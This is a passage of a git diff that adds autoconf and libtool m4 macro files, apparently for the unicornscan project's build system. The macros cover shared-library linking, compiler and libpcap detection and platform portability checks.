"$GCC" = yes; then + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags' + else + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -G ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags' + fi + runpath_var='LD_RUN_PATH' + _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no + ;; + + sysv5*) + _LT_AC_TAGVAR(no_undefined_flag, $1)=' -z text' + # $CC -shared without GNU ld will not create a library from C++ + # object files and a static libstdc++, better avoid it by now + _LT_AC_TAGVAR(archive_cmds, $1)='$LD -G${allow_undefined_flag} -h $soname -o $lib $libobjs $deplibs $linker_flags' + _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~ + $LD -G${allow_undefined_flag} -M $lib.exp -h $soname -o $lib $libobjs $deplibs $linker_flags~$rm $lib.exp' + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)= + _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no + runpath_var='LD_RUN_PATH' + ;; + + uts4*) + _LT_AC_TAGVAR(archive_cmds, $1)='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir' + _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no + ;; + + *) + _LT_AC_TAGVAR(ld_shlibs, $1)=no + ;; + esac + fi +]) +AC_MSG_RESULT([$_LT_AC_TAGVAR(ld_shlibs, $1)]) +test "$_LT_AC_TAGVAR(ld_shlibs, $1)" = no && can_build_shared=no + +variables_saved_for_relink="PATH $shlibpath_var $runpath_var" +if test "$GCC" = yes; then + variables_saved_for_relink="$variables_saved_for_relink GCC_EXEC_PREFIX COMPILER_PATH LIBRARY_PATH" +fi + +# +# Do we need to explicitly link libc? +# +case "x$_LT_AC_TAGVAR(archive_cmds_need_lc, $1)" in +x|xyes) + # Assume -lc should be added + _LT_AC_TAGVAR(archive_cmds_need_lc, $1)=yes + + if test "$enable_shared" = yes && test "$GCC" = yes; then + case $_LT_AC_TAGVAR(archive_cmds, $1) in + *'~'*) + # FIXME: we may have to deal with multi-command sequences. + ;; + '$CC '*) + # Test whether the compiler implicitly links with -lc since on some + # systems, -lgcc has to come before -lc. If gcc already passes -lc + # to ld, don't add -lc before -lgcc. + AC_MSG_CHECKING([whether -lc should be explicitly linked in]) + $rm conftest* + printf "$lt_simple_compile_test_code" > conftest.$ac_ext + + if AC_TRY_EVAL(ac_compile) 2>conftest.err; then + soname=conftest + lib=conftest + libobjs=conftest.$ac_objext + deplibs= + wl=$_LT_AC_TAGVAR(lt_prog_compiler_wl, $1) + compiler_flags=-v + linker_flags=-v + verstring= + output_objdir=. + libname=conftest + lt_save_allow_undefined_flag=$_LT_AC_TAGVAR(allow_undefined_flag, $1) + _LT_AC_TAGVAR(allow_undefined_flag, $1)= + if AC_TRY_EVAL(_LT_AC_TAGVAR(archive_cmds, $1) 2\>\&1 \| grep \" -lc \" \>/dev/null 2\>\&1) + then + _LT_AC_TAGVAR(archive_cmds_need_lc, $1)=no + else + _LT_AC_TAGVAR(archive_cmds_need_lc, $1)=yes + fi + _LT_AC_TAGVAR(allow_undefined_flag, $1)=$lt_save_allow_undefined_flag + else + cat conftest.err 1>&5 + fi + $rm conftest* + AC_MSG_RESULT([$_LT_AC_TAGVAR(archive_cmds_need_lc, $1)]) + ;; + esac + fi + ;; +esac +])# AC_LIBTOOL_PROG_LD_SHLIBS + + +# _LT_AC_FILE_LTDLL_C +# ------------------- +# Be careful that the start marker always follows a newline. +AC_DEFUN([_LT_AC_FILE_LTDLL_C], [ +# /* ltdll.c starts here */ +# #define WIN32_LEAN_AND_MEAN +# #include +# #undef WIN32_LEAN_AND_MEAN +# #include +# +# #ifndef __CYGWIN__ +# # ifdef __CYGWIN32__ +# # define __CYGWIN__ __CYGWIN32__ +# # endif +# #endif +# +# #ifdef __cplusplus +# extern "C" { +# #endif +# BOOL APIENTRY DllMain (HINSTANCE hInst, DWORD reason, LPVOID reserved); +# #ifdef __cplusplus +# } +# #endif +# +# #ifdef __CYGWIN__ +# #include +# DECLARE_CYGWIN_DLL( DllMain ); +# #endif +# HINSTANCE __hDllInstance_base; +# +# BOOL APIENTRY +# DllMain (HINSTANCE hInst, DWORD reason, LPVOID reserved) +# { +# __hDllInstance_base = hInst; +# return TRUE; +# } +# /* ltdll.c ends here */ +])# _LT_AC_FILE_LTDLL_C + + +# _LT_AC_TAGVAR(VARNAME, [TAGNAME]) +# --------------------------------- +AC_DEFUN([_LT_AC_TAGVAR], [ifelse([$2], [], [$1], [$1_$2])]) + + +# old names +AC_DEFUN([AM_PROG_LIBTOOL], [AC_PROG_LIBTOOL]) +AC_DEFUN([AM_ENABLE_SHARED], [AC_ENABLE_SHARED($@)]) +AC_DEFUN([AM_ENABLE_STATIC], [AC_ENABLE_STATIC($@)]) +AC_DEFUN([AM_DISABLE_SHARED], [AC_DISABLE_SHARED($@)]) +AC_DEFUN([AM_DISABLE_STATIC], [AC_DISABLE_STATIC($@)]) +AC_DEFUN([AM_PROG_LD], [AC_PROG_LD]) +AC_DEFUN([AM_PROG_NM], [AC_PROG_NM]) + +# This is just to silence aclocal about the macro not being used +ifelse([AC_DISABLE_FAST_INSTALL]) + +AC_DEFUN([LT_AC_PROG_GCJ], +[AC_CHECK_TOOL(GCJ, gcj, no) + test "x${GCJFLAGS+set}" = xset || GCJFLAGS="-g -O2" + AC_SUBST(GCJFLAGS) +]) + +AC_DEFUN([LT_AC_PROG_RC], +[AC_CHECK_TOOL(RC, windres, no) +]) + +############################################################ +# NOTE: This macro has been submitted for inclusion into # +# GNU Autoconf as AC_PROG_SED. When it is available in # +# a released version of Autoconf we should remove this # +# macro and use it instead. # +############################################################ +# LT_AC_PROG_SED +# -------------- +# Check for a fully-functional sed program, that truncates +# as few characters as possible. Prefer GNU sed if found. +AC_DEFUN([LT_AC_PROG_SED], +[AC_MSG_CHECKING([for a sed that does not truncate output]) +AC_CACHE_VAL(lt_cv_path_SED, +[# Loop through the user's path and test for sed and gsed. +# Then use that list of sed's as ones to test for truncation. +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for lt_ac_prog in sed gsed; do + for ac_exec_ext in '' $ac_executable_extensions; do + if $as_executable_p "$as_dir/$lt_ac_prog$ac_exec_ext"; then + lt_ac_sed_list="$lt_ac_sed_list $as_dir/$lt_ac_prog$ac_exec_ext" + fi + done + done +done +lt_ac_max=0 +lt_ac_count=0 +# Add /usr/xpg4/bin/sed as it is typically found on Solaris +# along with /bin/sed that truncates output. +for lt_ac_sed in $lt_ac_sed_list /usr/xpg4/bin/sed; do + test ! -f $lt_ac_sed && break + cat /dev/null > conftest.in + lt_ac_count=0 + echo $ECHO_N "0123456789$ECHO_C" >conftest.in + # Check for GNU sed and select it if it is found. + if "$lt_ac_sed" --version 2>&1 < /dev/null | grep 'GNU' > /dev/null; then + lt_cv_path_SED=$lt_ac_sed + break + fi + while true; do + cat conftest.in conftest.in >conftest.tmp + mv conftest.tmp conftest.in + cp conftest.in conftest.nl + echo >>conftest.nl + $lt_ac_sed -e 's/a$//' < conftest.nl >conftest.out || break + cmp -s conftest.out conftest.nl || break + # 10000 chars as input seems more than enough + test $lt_ac_count -gt 10 && break + lt_ac_count=`expr $lt_ac_count + 1` + if test $lt_ac_count -gt $lt_ac_max; then + lt_ac_max=$lt_ac_count + lt_cv_path_SED=$lt_ac_sed + fi + done +done +]) +SED=$lt_cv_path_SED +AC_MSG_RESULT([$SED]) +]) diff --git a/m4/pcap.m4 b/m4/pcap.m4 new file mode 100644 index 0000000..709e831 --- /dev/null +++ b/m4/pcap.m4 @@ -0,0 +1,1207 @@ + +dnl @(#) $Header: /data/cvsroot/security/jack/unicornscan/m4/pcap.m4,v 1.1.1.1 2006/10/18 16:57:05 jacka Exp $ (LBL) +dnl +dnl Copyright (c) 1995, 1996, 1997, 1998 +dnl The Regents of the University of California. All rights reserved. +dnl +dnl Redistribution and use in source and binary forms, with or without +dnl modification, are permitted provided that: (1) source code distributions +dnl retain the above copyright notice and this paragraph in its entirety, (2) +dnl distributions including binary code include the above copyright notice and +dnl this paragraph in its entirety in the documentation or other materials +dnl provided with the distribution, and (3) all advertising materials mentioning +dnl features or use of this software display the following acknowledgement: +dnl ``This product includes software developed by the University of California, +dnl Lawrence Berkeley Laboratory and its contributors.'' Neither the name of +dnl the University nor the names of its contributors may be used to endorse +dnl or promote products derived from this software without specific prior +dnl written permission. +dnl THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED +dnl WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF +dnl MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. +dnl +dnl LBL autoconf macros +dnl + +dnl +dnl Determine which compiler we're using (cc or gcc) +dnl If using gcc, determine the version number +dnl If using cc, require that it support ansi prototypes +dnl If using gcc, use -O2 (otherwise use -O) +dnl If using cc, explicitly specify /usr/local/include +dnl +dnl usage: +dnl +dnl AC_LBL_C_INIT(copt, incls) +dnl +dnl results: +dnl +dnl $1 (copt set) +dnl $2 (incls set) +dnl CC +dnl LDFLAGS +dnl ac_cv_lbl_gcc_vers +dnl LBL_CFLAGS +dnl +AC_DEFUN(AC_LBL_C_INIT, + [AC_PREREQ(2.12) + AC_BEFORE([$0], [AC_PROG_CC]) + AC_BEFORE([$0], [AC_LBL_FIXINCLUDES]) + AC_BEFORE([$0], [AC_LBL_DEVEL]) + AC_ARG_WITH(gcc, [ --without-gcc don't use gcc]) + $1="-O" + $2="" + if test "${srcdir}" != "." ; then + $2="-I\$(srcdir)" + fi + if test "${CFLAGS+set}" = set; then + LBL_CFLAGS="$CFLAGS" + fi + if test -z "$CC" ; then + case "$host_os" in + + bsdi*) + AC_CHECK_PROG(SHLICC2, shlicc2, yes, no) + if test $SHLICC2 = yes ; then + CC=shlicc2 + export CC + fi + ;; + esac + fi + if test -z "$CC" -a "$with_gcc" = no ; then + CC=cc + export CC + fi + AC_PROG_CC + if test "$GCC" = yes ; then + if test "$SHLICC2" = yes ; then + ac_cv_lbl_gcc_vers=2 + $1="-O2" + else + AC_MSG_CHECKING(gcc version) + AC_CACHE_VAL(ac_cv_lbl_gcc_vers, + ac_cv_lbl_gcc_vers=`$CC -v 2>&1 | \ + sed -e '/^gcc version /!d' \ + -e 's/^gcc version //' \ + -e 's/ .*//' -e 's/^[[[^0-9]]]*//' \ + -e 's/\..*//'`) + AC_MSG_RESULT($ac_cv_lbl_gcc_vers) + if test $ac_cv_lbl_gcc_vers -gt 1 ; then + $1="-O2" + fi + fi + else + AC_MSG_CHECKING(that $CC handles ansi prototypes) + AC_CACHE_VAL(ac_cv_lbl_cc_ansi_prototypes, + AC_TRY_COMPILE( + [#include ], + [int frob(int, char *)], + ac_cv_lbl_cc_ansi_prototypes=yes, + ac_cv_lbl_cc_ansi_prototypes=no)) + AC_MSG_RESULT($ac_cv_lbl_cc_ansi_prototypes) + if test $ac_cv_lbl_cc_ansi_prototypes = no ; then + case "$host_os" in + + hpux*) + AC_MSG_CHECKING(for HP-UX ansi compiler ($CC -Aa -D_HPUX_SOURCE)) + savedcflags="$CFLAGS" + CFLAGS="-Aa -D_HPUX_SOURCE $CFLAGS" + AC_CACHE_VAL(ac_cv_lbl_cc_hpux_cc_aa, + AC_TRY_COMPILE( + [#include ], + [int frob(int, char *)], + ac_cv_lbl_cc_hpux_cc_aa=yes, + ac_cv_lbl_cc_hpux_cc_aa=no)) + AC_MSG_RESULT($ac_cv_lbl_cc_hpux_cc_aa) + if test $ac_cv_lbl_cc_hpux_cc_aa = no ; then + AC_MSG_ERROR(see the INSTALL doc for more info) + fi + CFLAGS="$savedcflags" + V_CCOPT="-Aa $V_CCOPT" + AC_DEFINE(_HPUX_SOURCE) + ;; + + *) + AC_MSG_ERROR(see the INSTALL doc for more info) + ;; + esac + fi + $2="$$2 -I/usr/local/include" + LDFLAGS="$LDFLAGS -L/usr/local/lib" + + case "$host_os" in + + irix*) + V_CCOPT="$V_CCOPT -xansi -signed -O" + ;; + + osf*) + V_CCOPT="$V_CCOPT -std1 -O" + ;; + + ultrix*) + AC_MSG_CHECKING(that Ultrix $CC hacks const in prototypes) + AC_CACHE_VAL(ac_cv_lbl_cc_const_proto, + AC_TRY_COMPILE( + [#include ], + [struct a { int b; }; + void c(const struct a *)], + ac_cv_lbl_cc_const_proto=yes, + ac_cv_lbl_cc_const_proto=no)) + AC_MSG_RESULT($ac_cv_lbl_cc_const_proto) + if test $ac_cv_lbl_cc_const_proto = no ; then + AC_DEFINE(const,) + fi + ;; + esac + fi +]) + +# +# Try compiling a sample of the type of code that appears in +# gencode.c with "inline", "__inline__", and "__inline". +# +# Autoconf's AC_C_INLINE, at least in autoconf 2.13, isn't good enough, +# as it just tests whether a function returning "int" can be inlined; +# at least some versions of HP's C compiler can inline that, but can't +# inline a function that returns a struct pointer. +# +AC_DEFUN(AC_LBL_C_INLINE, + [AC_MSG_CHECKING(for inline) + AC_CACHE_VAL(ac_cv_lbl_inline, [ + ac_cv_lbl_inline="" + ac_lbl_cc_inline=no + for ac_lbl_inline in inline __inline__ __inline + do + AC_TRY_COMPILE( + [#define inline $ac_lbl_inline + static inline struct iltest *foo(void); + struct iltest { + int iltest1; + int iltest2; + }; + + static inline struct iltest * + foo() + { + static struct iltest xxx; + + return &xxx; + }],,ac_lbl_cc_inline=yes,) + if test "$ac_lbl_cc_inline" = yes ; then + break; + fi + done + if test "$ac_lbl_cc_inline" = yes ; then + ac_cv_lbl_inline=$ac_lbl_inline + fi]) + if test ! -z "$ac_cv_lbl_inline" ; then + AC_MSG_RESULT($ac_cv_lbl_inline) + else + AC_MSG_RESULT(no) + fi + AC_DEFINE_UNQUOTED(inline, $ac_cv_lbl_inline, [Define as token for inline if inlining supported])]) + +dnl +dnl Use pfopen.c if available and pfopen() not in standard libraries +dnl Require libpcap +dnl Look for libpcap in .. +dnl Use the installed libpcap if there is no local version +dnl +dnl usage: +dnl +dnl AC_LBL_LIBPCAP(pcapdep, incls) +dnl +dnl results: +dnl +dnl $1 (pcapdep set) +dnl $2 (incls appended) +dnl LIBS +dnl LBL_LIBS +dnl +AC_DEFUN(AC_LBL_LIBPCAP, + [AC_REQUIRE([AC_LBL_LIBRARY_NET]) + dnl + dnl save a copy before locating libpcap.a + dnl + LBL_LIBS="$LIBS" + pfopen=/usr/examples/packetfilter/pfopen.c + if test -f $pfopen ; then + AC_CHECK_FUNCS(pfopen) + if test $ac_cv_func_pfopen = "no" ; then + AC_MSG_RESULT(Using $pfopen) + LIBS="$LIBS $pfopen" + fi + fi + AC_MSG_CHECKING(for local pcap library) + libpcap=FAIL + lastdir=FAIL + places=`ls $srcdir/.. | sed -e 's,/$,,' -e "s,^,$srcdir/../," | \ + egrep '/libpcap-[[0-9]]*.[[0-9]]*(.[[0-9]]*)?([[ab]][[0-9]]*)?$'` + for dir in $places $srcdir/../libpcap $srcdir/libpcap ; do + basedir=`echo $dir | sed -e 's/[[ab]][[0-9]]*$//'` + if test $lastdir = $basedir ; then + dnl skip alphas when an actual release is present + continue; + fi + lastdir=$dir + if test -r $dir/libpcap.a ; then + libpcap=$dir/libpcap.a + d=$dir + dnl continue and select the last one that exists + fi + done + if test $libpcap = FAIL ; then + AC_MSG_RESULT(not found) + AC_CHECK_LIB(pcap, main, libpcap="-lpcap") + if test $libpcap = FAIL ; then + AC_MSG_ERROR(see the INSTALL doc for more info) + fi + dnl + dnl Good old Red Hat Linux puts "pcap.h" in + dnl "/usr/include/pcap"; had the LBL folks done so, + dnl that would have been a good idea, but for + dnl the Red Hat folks to do so just breaks source + dnl compatibility with other systems. + dnl + dnl We work around this by assuming that, as we didn't + dnl find a local libpcap, libpcap is in /usr/lib or + dnl /usr/local/lib and that the corresponding header + dnl file is under one of those directories; if we don't + dnl find it in either of those directories, we check to + dnl see if it's in a "pcap" subdirectory of them and, + dnl if so, add that subdirectory to the "-I" list. + dnl + AC_MSG_CHECKING(for extraneous pcap header directories) + if test \( ! -r /usr/local/include/pcap.h \) -a \ + \( ! -r /usr/include/pcap.h \); then + if test -r /usr/local/include/pcap/pcap.h; then + d="/usr/local/include/pcap" + elif test -r /usr/include/pcap/pcap.h; then + d="/usr/include/pcap" + fi + fi + if test -z "$d" ; then + AC_MSG_RESULT(not found) + else + $2="-I$d $$2" + AC_MSG_RESULT(found -- -I$d added) + fi + else + $1=$libpcap + places=`ls $srcdir/.. | sed -e 's,/$,,' -e "s,^,$srcdir/../," | \ + egrep '/libpcap-[[0-9]]*.[[0-9]]*(.[[0-9]]*)?([[ab]][[0-9]]*)?$'` + if test -r $d/pcap.h; then + $2="-I$d $$2" + elif test -r $places/pcap.h; then + $2="-I$places $$2" + else + AC_MSG_ERROR(cannot find pcap.h, see INSTALL) + fi + AC_MSG_RESULT($libpcap) + fi + LIBS="$libpcap $LIBS" + case "$host_os" in + + aix*) + pseexe="/lib/pse.exp" + AC_MSG_CHECKING(for $pseexe) + if test -f $pseexe ; then + AC_MSG_RESULT(yes) + LIBS="$LIBS -I:$pseexe" + fi + # + # We need "-lodm" and "-lcfg", as libpcap requires them on + # AIX, and we just build a static libpcap.a and thus can't + # arrange that when you link with libpcap you automatically + # link with those libraries. + # + LIBS="$LIBS -lodm -lcfg" + ;; + esac + + dnl + dnl Check for "pcap_list_datalinks()", "pcap_set_datalink()", + dnl and "pcap_datalink_name_to_val()", and use substitute versions + dnl if they're not present + dnl + AC_CHECK_FUNC(pcap_list_datalinks, + AC_DEFINE(HAVE_PCAP_LIST_DATALINKS), + AC_LIBOBJ(datalinks)) + AC_CHECK_FUNC(pcap_set_datalink, + AC_DEFINE(HAVE_PCAP_SET_DATALINK)) + AC_CHECK_FUNC(pcap_datalink_name_to_val, + [ + AC_DEFINE(HAVE_PCAP_DATALINK_NAME_TO_VAL) + AC_CHECK_FUNC(pcap_datalink_val_to_description, + AC_DEFINE(HAVE_PCAP_DATALINK_VAL_TO_DESCRIPTION), + AC_LIBOBJ(dlnames)) + ], + AC_LIBOBJ(dlnames)) + + dnl + dnl Check for "pcap_breakloop()"; you can't substitute for it if + dnl it's absent (it has hooks into the live capture routines), + dnl so just define the HAVE_ value if it's there. + dnl + AC_CHECK_FUNCS(pcap_breakloop) +]) + +dnl +dnl Define RETSIGTYPE and RETSIGVAL +dnl +dnl usage: +dnl +dnl AC_LBL_TYPE_SIGNAL +dnl +dnl results: +dnl +dnl RETSIGTYPE (defined) +dnl RETSIGVAL (defined) +dnl +AC_DEFUN(AC_LBL_TYPE_SIGNAL, + [AC_BEFORE([$0], [AC_LBL_LIBPCAP]) + AC_TYPE_SIGNAL + if test "$ac_cv_type_signal" = void ; then + AC_DEFINE(RETSIGVAL,) + else + AC_DEFINE(RETSIGVAL,(0)) + fi + case "$host_os" in + + irix*) + AC_DEFINE(_BSD_SIGNALS) + ;; + + *) + dnl prefer sigaction() to sigset() + AC_CHECK_FUNCS(sigaction) + if test $ac_cv_func_sigaction = no ; then + AC_CHECK_FUNCS(sigset) + fi + ;; + esac]) + +dnl +dnl If using gcc, make sure we have ANSI ioctl definitions +dnl +dnl usage: +dnl +dnl AC_LBL_FIXINCLUDES +dnl +AC_DEFUN(AC_LBL_FIXINCLUDES, + [if test "$GCC" = yes ; then + AC_MSG_CHECKING(for ANSI ioctl definitions) + AC_CACHE_VAL(ac_cv_lbl_gcc_fixincludes, + AC_TRY_COMPILE( + [/* + * This generates a "duplicate case value" when fixincludes + * has not be run. + */ +# include +# include +# include +# ifdef HAVE_SYS_IOCCOM_H +# include +# endif], + [switch (0) { + case _IO('A', 1):; + case _IO('B', 1):; + }], + ac_cv_lbl_gcc_fixincludes=yes, + ac_cv_lbl_gcc_fixincludes=no)) + AC_MSG_RESULT($ac_cv_lbl_gcc_fixincludes) + if test $ac_cv_lbl_gcc_fixincludes = no ; then + # Don't cache failure + unset ac_cv_lbl_gcc_fixincludes + AC_MSG_ERROR(see the INSTALL for more info) + fi + fi]) + +dnl +dnl Check for flex, default to lex +dnl Require flex 2.4 or higher +dnl Check for bison, default to yacc +dnl Default to lex/yacc if both flex and bison are not available +dnl Define the yy prefix string if using flex and bison +dnl +dnl usage: +dnl +dnl AC_LBL_LEX_AND_YACC(lex, yacc, yyprefix) +dnl +dnl results: +dnl +dnl $1 (lex set) +dnl $2 (yacc appended) +dnl $3 (optional flex and bison -P prefix) +dnl +AC_DEFUN(AC_LBL_LEX_AND_YACC, + [AC_ARG_WITH(flex, [ --without-flex don't use flex]) + AC_ARG_WITH(bison, [ --without-bison don't use bison]) + if test "$with_flex" = no ; then + $1=lex + else + AC_CHECK_PROGS($1, flex, lex) + fi + if test "$$1" = flex ; then + # The -V flag was added in 2.4 + AC_MSG_CHECKING(for flex 2.4 or higher) + AC_CACHE_VAL(ac_cv_lbl_flex_v24, + if flex -V >/dev/null 2>&1; then + ac_cv_lbl_flex_v24=yes + else + ac_cv_lbl_flex_v24=no + fi) + AC_MSG_RESULT($ac_cv_lbl_flex_v24) + if test $ac_cv_lbl_flex_v24 = no ; then + s="2.4 or higher required" + AC_MSG_WARN(ignoring obsolete flex executable ($s)) + $1=lex + fi + fi + if test "$with_bison" = no ; then + $2=yacc + else + AC_CHECK_PROGS($2, bison, yacc) + fi + if test "$$2" = bison ; then + $2="$$2 -y" + fi + if test "$$1" != lex -a "$$2" = yacc -o "$$1" = lex -a "$$2" != yacc ; then + AC_MSG_WARN(don't have both flex and bison; reverting to lex/yacc) + $1=lex + $2=yacc + fi + if test "$$1" = flex -a -n "$3" ; then + $1="$$1 -P$3" + $2="$$2 -p $3" + fi]) + +dnl +dnl Checks to see if union wait is used with WEXITSTATUS() +dnl +dnl usage: +dnl +dnl AC_LBL_UNION_WAIT +dnl +dnl results: +dnl +dnl DECLWAITSTATUS (defined) +dnl +AC_DEFUN(AC_LBL_UNION_WAIT, + [AC_MSG_CHECKING(if union wait is used) + AC_CACHE_VAL(ac_cv_lbl_union_wait, + AC_TRY_COMPILE([ +# include +# include ], + [int status; + u_int i = WEXITSTATUS(status); + u_int j = waitpid(0, &status, 0);], + ac_cv_lbl_union_wait=no, + ac_cv_lbl_union_wait=yes)) + AC_MSG_RESULT($ac_cv_lbl_union_wait) + if test $ac_cv_lbl_union_wait = yes ; then + AC_DEFINE(DECLWAITSTATUS,union wait) + else + AC_DEFINE(DECLWAITSTATUS,int) + fi]) + +dnl +dnl Checks to see if the sockaddr struct has the 4.4 BSD sa_len member +dnl +dnl usage: +dnl +dnl AC_LBL_SOCKADDR_SA_LEN +dnl +dnl results: +dnl +dnl HAVE_SOCKADDR_SA_LEN (defined) +dnl +AC_DEFUN(AC_LBL_SOCKADDR_SA_LEN, + [AC_MSG_CHECKING(if sockaddr struct has sa_len member) + AC_CACHE_VAL(ac_cv_lbl_sockaddr_has_sa_len, + AC_TRY_COMPILE([ +# include +# include ], + [u_int i = sizeof(((struct sockaddr *)0)->sa_len)], + ac_cv_lbl_sockaddr_has_sa_len=yes, + ac_cv_lbl_sockaddr_has_sa_len=no)) + AC_MSG_RESULT($ac_cv_lbl_sockaddr_has_sa_len) + if test $ac_cv_lbl_sockaddr_has_sa_len = yes ; then + AC_DEFINE(HAVE_SOCKADDR_SA_LEN) + fi]) + +dnl +dnl Checks to see if -R is used +dnl +dnl usage: +dnl +dnl AC_LBL_HAVE_RUN_PATH +dnl +dnl results: +dnl +dnl ac_cv_lbl_have_run_path (yes or no) +dnl +AC_DEFUN(AC_LBL_HAVE_RUN_PATH, + [AC_MSG_CHECKING(for ${CC-cc} -R) + AC_CACHE_VAL(ac_cv_lbl_have_run_path, + [echo 'main(){}' > conftest.c + ${CC-cc} -o conftest conftest.c -R/a1/b2/c3 >conftest.out 2>&1 + if test ! -s conftest.out ; then + ac_cv_lbl_have_run_path=yes + else + ac_cv_lbl_have_run_path=no + fi + rm -f conftest*]) + AC_MSG_RESULT($ac_cv_lbl_have_run_path) + ]) + +dnl +dnl Due to the stupid way it's implemented, AC_CHECK_TYPE is nearly useless. +dnl +dnl usage: +dnl +dnl AC_LBL_CHECK_TYPE +dnl +dnl results: +dnl +dnl int32_t (defined) +dnl u_int32_t (defined) +dnl +AC_DEFUN(AC_LBL_CHECK_TYPE, + [AC_MSG_CHECKING(for $1 using $CC) + AC_CACHE_VAL(ac_cv_lbl_have_$1, + AC_TRY_COMPILE([ +# include "confdefs.h" +# include +# if STDC_HEADERS +# include +# include +# endif], + [$1 i], + ac_cv_lbl_have_$1=yes, + ac_cv_lbl_have_$1=no)) + AC_MSG_RESULT($ac_cv_lbl_have_$1) + if test $ac_cv_lbl_have_$1 = no ; then + AC_DEFINE($1, $2) + fi]) + +dnl +dnl Checks to see if unaligned memory accesses fail +dnl +dnl usage: +dnl +dnl AC_LBL_UNALIGNED_ACCESS +dnl +dnl results: +dnl +dnl LBL_ALIGN (DEFINED) +dnl +AC_DEFUN(AC_LBL_UNALIGNED_ACCESS, + [AC_MSG_CHECKING(if unaligned accesses fail) + AC_CACHE_VAL(ac_cv_lbl_unaligned_fail, + [case "$host_cpu" in + + # + # These are CPU types where: + # + # the CPU faults on an unaligned access, but at least some + # OSes that support that CPU catch the fault and simulate + # the unaligned access (e.g., Alpha/{Digital,Tru64} UNIX) - + # the simulation is slow, so we don't want to use it; + # + # the CPU, I infer (from the old + # + # XXX: should also check that they don't do weird things (like on arm) + # + # comment) doesn't fault on unaligned accesses, but doesn't + # do a normal unaligned fetch, either (e.g., presumably, ARM); + # + # for whatever reason, the test program doesn't work + # (this has been claimed to be the case for several of those + # CPUs - I don't know what the problem is; the problem + # was reported as "the test program dumps core" for SuperH, + # but that's what the test program is *supposed* to do - + # it dumps core before it writes anything, so the test + # for an empty output file should find an empty output + # file and conclude that unaligned accesses don't work). + # + # This run-time test won't work if you're cross-compiling, so + # in order to support cross-compiling for a particular CPU, + # we have to wire in the list of CPU types anyway, as far as + # I know, so perhaps we should just have a set of CPUs on + # which we know it doesn't work, a set of CPUs on which we + # know it does work, and have the script just fail on other + # cpu types and update it when such a failure occurs. + # + alpha*|arm*|hp*|mips*|sh*|sparc*|ia64|nv1) + ac_cv_lbl_unaligned_fail=yes + ;; + + *) + cat >conftest.c < +# include +# include + unsigned char a[[5]] = { 1, 2, 3, 4, 5 }; + main() { + unsigned int i; + pid_t pid; + int status; + /* avoid "core dumped" message */ + pid = fork(); + if (pid < 0) + exit(2); + if (pid > 0) { + /* parent */ + pid = waitpid(pid, &status, 0); + if (pid < 0) + exit(3); + exit(!WIFEXITED(status)); + } + /* child */ + i = *(unsigned int *)&a[[1]]; + printf("%d\n", i); + exit(0); + } +EOF + ${CC-cc} -o conftest $CFLAGS $CPPFLAGS $LDFLAGS \ + conftest.c $LIBS >/dev/null 2>&1 + if test ! -x conftest ; then + dnl failed to compile for some reason + ac_cv_lbl_unaligned_fail=yes + else + ./conftest >conftest.out + if test ! -s conftest.out ; then + ac_cv_lbl_unaligned_fail=yes + else + ac_cv_lbl_unaligned_fail=no + fi + fi + rm -f conftest* core core.conftest + ;; + esac]) + AC_MSG_RESULT($ac_cv_lbl_unaligned_fail) + if test $ac_cv_lbl_unaligned_fail = yes ; then + AC_DEFINE(LBL_ALIGN) + fi]) + +dnl +dnl If using gcc and the file .devel exists: +dnl Compile with -g (if supported) and -Wall +dnl If using gcc 2 or later, do extra prototype checking and some other +dnl checks +dnl If an os prototype include exists, symlink os-proto.h to it +dnl +dnl usage: +dnl +dnl AC_LBL_DEVEL(copt) +dnl +dnl results: +dnl +dnl $1 (copt appended) +dnl HAVE_OS_PROTO_H (defined) +dnl os-proto.h (symlinked) +dnl +AC_DEFUN(AC_LBL_DEVEL, + [rm -f os-proto.h + if test "${LBL_CFLAGS+set}" = set; then + $1="$$1 ${LBL_CFLAGS}" + fi + if test -f .devel ; then + if test "$GCC" = yes ; then + if test "${LBL_CFLAGS+set}" != set; then + if test "$ac_cv_prog_cc_g" = yes ; then + $1="-g $$1" + fi + $1="$$1 -Wall" + if test $ac_cv_lbl_gcc_vers -gt 1 ; then + $1="$$1 -Wmissing-prototypes -Wstrict-prototypes -Wwrite-strings -W" + fi + fi + else + case "$host_os" in + + irix6*) + V_CCOPT="$V_CCOPT -n32" + ;; + + *) + ;; + esac + fi + os=`echo $host_os | sed -e 's/\([[0-9]][[0-9]]*\)[[^0-9]].*$/\1/'` + name="lbl/os-$os.h" + if test -f $name ; then + ln -s $name os-proto.h + AC_DEFINE(HAVE_OS_PROTO_H) + else + AC_MSG_WARN(can't find $name) + fi + fi]) + +dnl +dnl Improved version of AC_CHECK_LIB +dnl +dnl Thanks to John Hawkinson (jhawk@mit.edu) +dnl +dnl usage: +dnl +dnl AC_LBL_CHECK_LIB(LIBRARY, FUNCTION [, ACTION-IF-FOUND [, +dnl ACTION-IF-NOT-FOUND [, OTHER-LIBRARIES]]]) +dnl +dnl results: +dnl +dnl LIBS +dnl +dnl XXX - "AC_LBL_LIBRARY_NET" was redone to use "AC_SEARCH_LIBS" +dnl rather than "AC_LBL_CHECK_LIB", so this isn't used any more. +dnl We keep it around for reference purposes in case it's ever +dnl useful in the future. +dnl + +define(AC_LBL_CHECK_LIB, +[AC_MSG_CHECKING([for $2 in -l$1]) +dnl Use a cache variable name containing the library, function +dnl name, and extra libraries to link with, because the test really is +dnl for library $1 defining function $2, when linked with potinal +dnl library $5, not just for library $1. Separate tests with 